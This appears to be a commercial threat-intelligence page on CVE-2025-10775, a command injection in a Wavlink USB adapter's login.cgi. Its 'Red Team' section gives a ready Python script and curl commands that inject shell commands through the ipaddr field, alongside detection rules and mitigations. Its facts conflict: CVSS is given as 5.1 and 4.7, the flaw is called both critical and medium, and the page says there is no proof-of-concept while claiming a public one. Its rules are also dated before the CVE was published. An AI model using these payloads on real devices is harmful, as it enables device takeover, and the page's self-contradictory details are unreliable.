☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10775

CVE-2025-10775 OS Command Injection in Wavlink
📅 PUBLISHED: 2025-09-22 01:02 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 20.02%
👁️
20.02% probability
500.6× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10775 is a critical OS command injection vulnerability in the Wavlink WL-NU516U1 USB-to-Ethernet adapter firmware version 240425. The flaw resides in the sub_4012A0 function within /cgi-bin/login.cgi, where the ipaddr argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 4.7 (Medium), the vulnerability is publicly disclosed with a proof-of-concept exploit, yet the vendor has not responded to disclosure attempts. No patch is currently available, leaving all devices running this firmware version at risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on a Wavlink networking device.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Base Score: 4.7 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Exploit does not cross trust boundaries.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification possible.
  • Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level compromise. However, given the lack of a patch and public exploit availability, the risk is elevated for exposed devices.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the sub_4012A0 function of /cgi-bin/login.cgi. The ipaddr parameter is passed directly to a system command without sanitization. An attacker can inject commands using shell metacharacters (e.g., ;, |, &&). The function likely constructs a command like ping -c 1 <ipaddr> or similar, allowing arbitrary command execution.

Root Cause: Lack of input validation and use of unsafe functions (e.g., system(), popen()) with user-supplied data.

Attack Vector: Sending a crafted HTTP POST request to /cgi-bin/login.cgi with a malicious ipaddr parameter.

Impact: Full remote code execution as the web server user (likely root), enabling device takeover, data exfiltration, or use in botnets.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void sub_4012A0() {
    char ipaddr[256];
    char cmd[512];
    get_cgi_value("ipaddr", ipaddr);
    sprintf(cmd, "ping -c 1 %s", ipaddr);
    system(cmd);
}

Patched Code (Conceptual):

void sub_4012A0() {
    char ipaddr[256];
    char cmd[512];
    get_cgi_value("ipaddr", ipaddr);
    // Validate IP address format
    if (!is_valid_ip(ipaddr)) {
        return_error("Invalid IP");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"/bin/ping", "-c", "1", ipaddr, NULL};
    execve("/bin/ping", args, NULL);
}

Key Differences:

  • Input validation (IP format check) is added.
  • Unsafe system() is replaced with execve() to prevent shell injection.
  • No patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Wavlink WL-NU516U1 device with firmware 240425.
  • Network access to the device's web interface (typically port 80 or 443).

Exploit (Python):

import requests

target = "http://<device_ip>/cgi-bin/login.cgi"
payload = "127.0.0.1; id > /tmp/exploit.txt"
data = {"ipaddr": payload}

try:
    r = requests.post(target, data=data, timeout=10)
    print(f"Exploit sent. Check /tmp/exploit.txt on device.")
except Exception as e:
    print(f"Error: {e}")

Manual Exploit (curl):

curl -X POST http://<device_ip>/cgi-bin/login.cgi -d "ipaddr=127.0.0.1; id > /tmp/exploit.txt"

Verification:

curl http://<device_ip>/cgi-bin/login.cgi -d "ipaddr=127.0.0.1; cat /tmp/exploit.txt"

Blue Team (Defensive)

Detection:

  • Monitor HTTP POST requests to /cgi-bin/login.cgi with suspicious ipaddr parameters containing shell metacharacters (;, |, &, $, `).
  • Log all command execution attempts via system logs (if available).
  • Use network intrusion detection systems (NIDS) to alert on exploit patterns.

Honeypot:

  • Deploy a fake Wavlink login endpoint to capture exploit attempts.

Mitigation:

  • Isolate affected devices on a separate VLAN.
  • Block external access to the web interface.
  • Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/login.cgi with ipaddr containing shell metacharacters.
  • Outbound connections from the device to unknown IPs (e.g., for reverse shells).
  • Unusual DNS queries from the device.

File IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/exploit.txt).
  • Modified system binaries or scripts.

Process IOCs:

  • Unusual processes spawned by the web server (e.g., id, cat, nc).

Example IOC (YARA):

rule CVE_2025_10775_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-10775"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ipaddr = "ipaddr="
        $metachar = /[;|&$`]/
    condition:
        $ipaddr and $metachar
}

Detection Engineering

YARA Rule

rule CVE_2025_10775_Exploit_HTTP {
    meta:
        description = "Detects HTTP POST requests exploiting CVE-2025-10775"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $uri = "/cgi-bin/login.cgi"
        $ipaddr = "ipaddr="
        $shell = /[;|&$`]/
    condition:
        $uri and $ipaddr and $shell
}

Sigma Rule

title: CVE-2025-10775 Wavlink OS Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-10775 via HTTP POST to /cgi-bin/login.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /cgi-bin/login.cgi
        cs-uri-query|contains: ipaddr=
    keywords:
        - ';'
        - '|'
        - '&'
        - '$'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of IP address with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10775 Wavlink OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/login.cgi"; http_uri;
    content:"ipaddr="; http_client_body;
    pcre:"/(;|\||&|\$|`)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Devices: Place affected Wavlink devices on a separate VLAN with restricted internet access.
  2. Disable Remote Access: Block external access to the web interface (port 80/443) via firewall.
  3. Monitor Logs: Enable logging and monitor for exploit attempts using the provided detection rules.

Long-Term Fix:

  • Vendor Patch: No patch available. Contact Wavlink support and demand a firmware update.
  • Device Replacement: Consider replacing the device with a patched alternative if critical.
  • Virtual Patching: Deploy WAF rules to block malicious ipaddr parameters.

Workaround:

  • If the device is not needed, disable the web interface entirely.
  • Use network segmentation to limit exposure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10775/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.